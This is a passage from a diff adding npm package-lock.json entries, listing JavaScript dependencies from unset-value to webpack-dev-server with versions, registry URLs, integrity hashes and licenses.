"sha512-PcA2tsuGSF9cnySLHTLSh2qrQiJ70mn+r+Glzxv2TWZblxsxCC52BDlZoPCsz7STd9pN7EZetkWZBAvk4cgZdQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-value": "^0.3.1", + "isobject": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unset-value/node_modules/has-value": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz", + "integrity": "sha512-gpG936j8/MzaeID5Yif+577c17TxaDmhuyVgSwtnL/q8UUTySg8Mecb+8Cf1otgLoD7DDH75axp86ER7LFsf3Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "get-value": "^2.0.3", + "has-values": "^0.1.4", + "isobject": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unset-value/node_modules/has-value/node_modules/isobject": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", + "integrity": "sha512-+OUdGJlgjOBZDfxnDjYYG6zp487z0JGNQq3cYQYg5f5hKR+syHMsaztzGeml/4kGG55CSpKSpWTY+jYGgsHLgA==", + "dev": true, + "license": "MIT", + "dependencies": { + "isarray": "1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unset-value/node_modules/has-values": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz", + "integrity": "sha512-J8S0cEdWuQbqD9//tlZxiMuMNmxB8PlEwvYwuxsTmR1G5RXUePEX/SJn7aD0GMLieuZYSwNH0cQuJGwnYunXRQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unset-value/node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/untildify": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz", + "integrity": "sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/upath": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", + "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", + "license": "MIT", + "engines": { + "node": ">=4", + "yarn": "*" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.1.tgz", + "integrity": "sha512-R8UzCaa9Az+38REPiJ1tXlImTJXlVfgHZsglwBD/k6nj76ctsH1E3q4doGrukiLQd3sGQYu56r5+lo5r94l29A==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.0" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/update-browserslist-db/node_modules/picocolors": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.0.tgz", + "integrity": "sha512-TQ92mBOW0l3LeMeyLV6mzy/kWr8lkd/hp3mTg7wYK7zJhuBStmGMBG0BdeDZS/dZx1IukaX6Bk11zcln25o1Aw==", + "license": "ISC" + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/urix": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz", + "integrity": "sha512-Am1ousAhSLBeB9cG/7k7r2R0zj50uDRlZHPGbazid5s9rlF1F/QKYObEKSIunSjIOkJZqwRRLpvewjEkM7pSqg==", + "deprecated": "Please see https://github.com/lydell/urix#deprecated", + "dev": true, + "license": "MIT" + }, + "node_modules/url-join": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/url-join/-/url-join-4.0.1.tgz", + "integrity": "sha512-jk1+QP6ZJqyOiuEI9AEWQfju/nB2Pw466kbA0LEZljHwKeMgd9WrAEgEGxjPDD2+TNbbb37rTyhEfrCXfuKXnA==", + "dev": true, + "license": "MIT" + }, + "node_modules/url-parse": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", + "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", + "license": "MIT", + "dependencies": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "node_modules/use": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", + "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/use-local-storage-state": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/use-local-storage-state/-/use-local-storage-state-10.0.0.tgz", + "integrity": "sha512-NCab0oYOMZA8oT9y4OE7tMT6JS21SiyPsTjZdapnyvHe7bVFlIMSp6LaiuHBdS1OvduuLtG+pX/duFIBkd0PCA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "react": ">=16.8.0" + } + }, + "node_modules/use-location-state": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/use-location-state/-/use-location-state-2.5.0.tgz", + "integrity": "sha512-Gsn37xXWTVa4gGZA8WobtmC7ixm46TkQUyr9MApLhh9YIDcxOKuLCH/0wuKY7YcrCsb5t/S0b77qP50/mbvibQ==", + "license": "MIT", + "dependencies": { + "query-state-core": "^2.5.0" + }, + "peerDependencies": { + "react": "^16.8.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "license": "MIT" + }, + "node_modules/util.promisify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.1.tgz", + "integrity": "sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==", + "license": "MIT", + "dependencies": { + "define-properties": "^1.1.3", + "es-abstract": "^1.17.2", + "has-symbols": "^1.0.1", + "object.getownpropertydescriptors": "^2.1.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/utila": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz", + "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==", + "license": "MIT" + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "license": "MIT", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/v8-compile-cache": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", + "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", + "license": "MIT" + }, + "node_modules/v8-to-istanbul": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-8.1.1.tgz", + "integrity": "sha512-FGtKtv3xIpR6BYhvgH8MI/y78oT7d8Au3ww4QIxymrCtZEh5b8gCw2siywE+puhEmuWKDtmfrvF5UlB298ut3w==", + "license": "ISC", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.1", + "convert-source-map": "^1.6.0", + "source-map": "^0.7.3" + }, + "engines": { + "node": ">=10.12.0" + } + }, + "node_modules/v8-to-istanbul/node_modules/source-map": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz", + "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">= 8" + } + }, + "node_modules/value-equal": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-1.0.1.tgz", + "integrity": "sha512-NOJ6JZCAWr0zlxZt+xqCHNTEKOsrks2HQd4MqhP1qy4z1SkbEP467eNx6TgDKXMvUOb+OENfJCZwM+16n7fRfw==", + "license": "MIT" + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/verror": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", + "integrity": "sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw==", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + } + }, + "node_modules/vis-data": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-7.1.4.tgz", + "integrity": "sha512-usy+ePX1XnArNvJ5BavQod7YRuGQE1pjFl+pu7IS6rCom2EBoG0o1ZzCqf3l5US6MW51kYkLR+efxRbnjxNl7w==", + "hasInstallScript": true, + "license": "(Apache-2.0 OR MIT)", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/visjs" + }, + "peerDependencies": { + "uuid": "^7.0.0 || ^8.0.0", + "vis-util": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/vis-timeline": { + "version": "7.7.0", + "resolved": "https://registry.npmjs.org/vis-timeline/-/vis-timeline-7.7.0.tgz", + "integrity": "sha512-et5xobQTEp7i8lqcEjgMWoGE4s4qn+2VtEJ35uRZiL5Y3qRzi84bCTkUKAjOM/HTzVFiLTWET+DZZi1iHYriuA==", + "hasInstallScript": true, + "license": "(Apache-2.0 OR MIT)", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/visjs" + }, + "peerDependencies": { + "@egjs/hammerjs": "^2.0.0", + "component-emitter": "^1.3.0", + "keycharm": "^0.3.0 || ^0.4.0", + "moment": "^2.24.0", + "propagating-hammerjs": "^1.4.0 || ^2.0.0", + "uuid": "^3.4.0 || ^7.0.0 || ^8.0.0", + "vis-data": "^6.3.0 || ^7.0.0", + "vis-util": "^3.0.0 || ^4.0.0 || ^5.0.0", + "xss": "^1.0.0" + } + }, + "node_modules/vis-util": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/vis-util/-/vis-util-4.3.4.tgz", + "integrity": "sha512-hJIZNrwf4ML7FYjs+m+zjJfaNvhjk3/1hbMdQZVnwwpOFJS/8dMG8rdbOHXcKoIEM6U5VOh3HNpaDXxGkOZGpw==", + "license": "(Apache-2.0 OR MIT)", + "engines": { + "node": ">=8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/visjs" + } + }, + "node_modules/vite-plugin-circular-dependency": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/vite-plugin-circular-dependency/-/vite-plugin-circular-dependency-0.5.0.tgz", + "integrity": "sha512-7SQX1IZbf5to/S3A3/syfntRNg20Cth6KgTCwHpNZIcuDCtPclV2Bwvdd9HWG+alKZ04mmdlchNOPQgBl7/vQQ==", + "license": "MIT", + "dependencies": { + "@rollup/pluginutils": "^5.1.0", + "chalk": "^4.1.2" + } + }, + "node_modules/vite-plugin-circular-dependency/node_modules/@rollup/pluginutils": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.1.3.tgz", + "integrity": "sha512-Pnsb6f32CD2W3uCaLZIzDmeFyQ2b8UWMFI7xtwUezpcGBDVDW6y9XgAWIlARiGAo6eNF5FK5aQTr0LFyNyqq5A==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "estree-walker": "^2.0.2", + "picomatch": "^4.0.2" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0" + }, + "peerDependenciesMeta": { + "rollup": { + "optional": true + } + } + }, + "node_modules/vite-plugin-circular-dependency/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/vite-plugin-circular-dependency/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/vite-plugin-circular-dependency/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/vite-plugin-circular-dependency/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/vite-plugin-circular-dependency/node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "license": "MIT" + }, + "node_modules/vite-plugin-circular-dependency/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/vite-plugin-circular-dependency/node_modules/picomatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.2.tgz", + "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/vite-plugin-circular-dependency/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/vite-plugin-dts": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/vite-plugin-dts/-/vite-plugin-dts-4.3.0.tgz", + "integrity": "sha512-LkBJh9IbLwL6/rxh0C1/bOurDrIEmRE7joC+jFdOEEciAFPbpEKOLSAr5nNh5R7CJ45cMbksTrFfy52szzC5eA==", + "license": "MIT", + "dependencies": { + "@microsoft/api-extractor": "^7.47.11", + "@rollup/pluginutils": "^5.1.0", + "@volar/typescript": "^2.4.4", + "@vue/language-core": "2.1.6", + "compare-versions": "^6.1.1", + "debug": "^4.3.6", + "kolorist": "^1.8.0", + "local-pkg": "^0.5.0", + "magic-string": "^0.30.11" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "peerDependencies": { + "typescript": "*", + "vite": "*" + }, + "peerDependenciesMeta": { + "vite": { + "optional": true + } + } + }, + "node_modules/vite-plugin-dts/node_modules/@rollup/pluginutils": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.1.3.tgz", + "integrity": "sha512-Pnsb6f32CD2W3uCaLZIzDmeFyQ2b8UWMFI7xtwUezpcGBDVDW6y9XgAWIlARiGAo6eNF5FK5aQTr0LFyNyqq5A==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "estree-walker": "^2.0.2", + "picomatch": "^4.0.2" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0" + }, + "peerDependenciesMeta": { + "rollup": { + "optional": true + } + } + }, + "node_modules/vite-plugin-dts/node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "license": "MIT" + }, + "node_modules/vite-plugin-dts/node_modules/magic-string": { + "version": "0.30.15", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.15.tgz", + "integrity": "sha512-zXeaYRgZ6ldS1RJJUrMrYgNJ4fdwnyI6tVqoiIhyCyv5IVTK9BU8Ic2l253GGETQHxI4HNUwhJ3fjDhKqEoaAw==", + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0" + } + }, + "node_modules/vite-plugin-dts/node_modules/picomatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.2.tgz", + "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/vscode-uri": { + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/vscode-uri/-/vscode-uri-3.0.8.tgz", + "integrity": "sha512-AyFQ0EVmsOZOlAnxoFOGOq1SQDWAB7C6aqMGS23svWAllfOaxbuFvcT8D1i8z3Gyn8fraVeZNNmN6e9bxxXkKw==", + "license": "MIT" + }, + "node_modules/w3c-hr-time": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz", + "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==", + "deprecated": "Use your platform's native performance.now() and performance.timeOrigin.", + "license": "MIT", + "dependencies": { + "browser-process-hrtime": "^1.0.0" + } + }, + "node_modules/w3c-xmlserializer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz", + "integrity": "sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==", + "license": "MIT", + "dependencies": { + "xml-name-validator": "^3.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/wait-on": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/wait-on/-/wait-on-6.0.0.tgz", + "integrity": "sha512-tnUJr9p5r+bEYXPUdRseolmz5XqJTTj98JgOsfBn7Oz2dxfE2g3zw1jE+Mo8lopM3j3et/Mq1yW7kKX6qw7RVw==", + "dev": true, + "license": "MIT", + "dependencies": { + "axios": "^0.21.1", + "joi": "^17.4.0", + "lodash": "^4.17.21", + "minimist": "^1.2.5", + "rxjs": "^7.1.0" + }, + "bin": { + "wait-on": "bin/wait-on" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/walker": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz", + "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==", + "license": "Apache-2.0", + "dependencies": { + "makeerror": "1.0.12" + } + }, + "node_modules/watchpack": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.2.tgz", + "integrity": "sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw==", + "license": "MIT", + "dependencies": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/wbuf": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", + "license": "MIT", + "dependencies": { + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/webidl-conversions": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-6.1.0.tgz", + "integrity": "sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=10.4" + } + }, + "node_modules/webpack": { + "version": "5.95.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.95.0.tgz", + "integrity": "sha512-2t3XstrKULz41MNMBF+cJ97TyHdyQ8HCt//pqErqDvNjU9YQBnZxIHa11VXsi7F3mb5/aO2tuDxdeTPdU7xu9Q==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.5", + "@webassemblyjs/ast": "^1.12.1", + "@webassemblyjs/wasm-edit": "^1.12.1", + "@webassemblyjs/wasm-parser": "^1.12.1", + "acorn": "^8.7.1", + "acorn-import-attributes": "^1.9.5", + "browserslist": "^4.21.10", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.17.1", + "es-module-lexer": "^1.2.1", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.11", + "json-parse-even-better-errors": "^2.3.1", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "schema-utils": "^3.2.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.3.10", + "watchpack": "^2.4.1", + "webpack-sources": "^3.2.3" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependenciesMeta": { + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-dev-middleware": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.3.tgz", + "integrity": "sha512-hj5CYrY0bZLB+eTO+x/j67Pkrquiy7kWepMHmUMoPsmcUaeEnQJqFzHJOyxgWlq746/wUuA64p9ta34Kyb01pA==", + "license": "MIT", + "dependencies": { + "colorette": "^2.0.10", + "memfs": "^3.4.3", + "mime-types": "^2.1.31", + "range-parser": "^1.2.1", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/webpack-dev-middleware/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/webpack-dev-middleware/node_modules/schema-utils": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", + "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.8.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack-dev-server": { + "version": "4.9.3", + "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.9.3.tgz", + "integrity": "sha512-3qp/eoboZG5/6QgiZ3llN8TUzkSpYg1Ko9khWX1h40MIEUNS2mDoIa8aXsPfskER+GbTvs/IJZ1QTBBhhuetSw==", + "license": "MIT", + "dependencies": { + "@types/bonjour": "^3.5.9", + "@types/connect-history-api-fallback": "^1.3.5", + "@types/express": "^4.17.13", + "@types/serve-index": "^1.9.1", + "@types/serve-static": "^1.13.10", + "@types/sockjs": "^0.3.33", + "@types/ws": "^8.5.1", + "ansi-html-community": "^0.0.8", + "bonjour-service": "^1.0.11", + "chokidar": 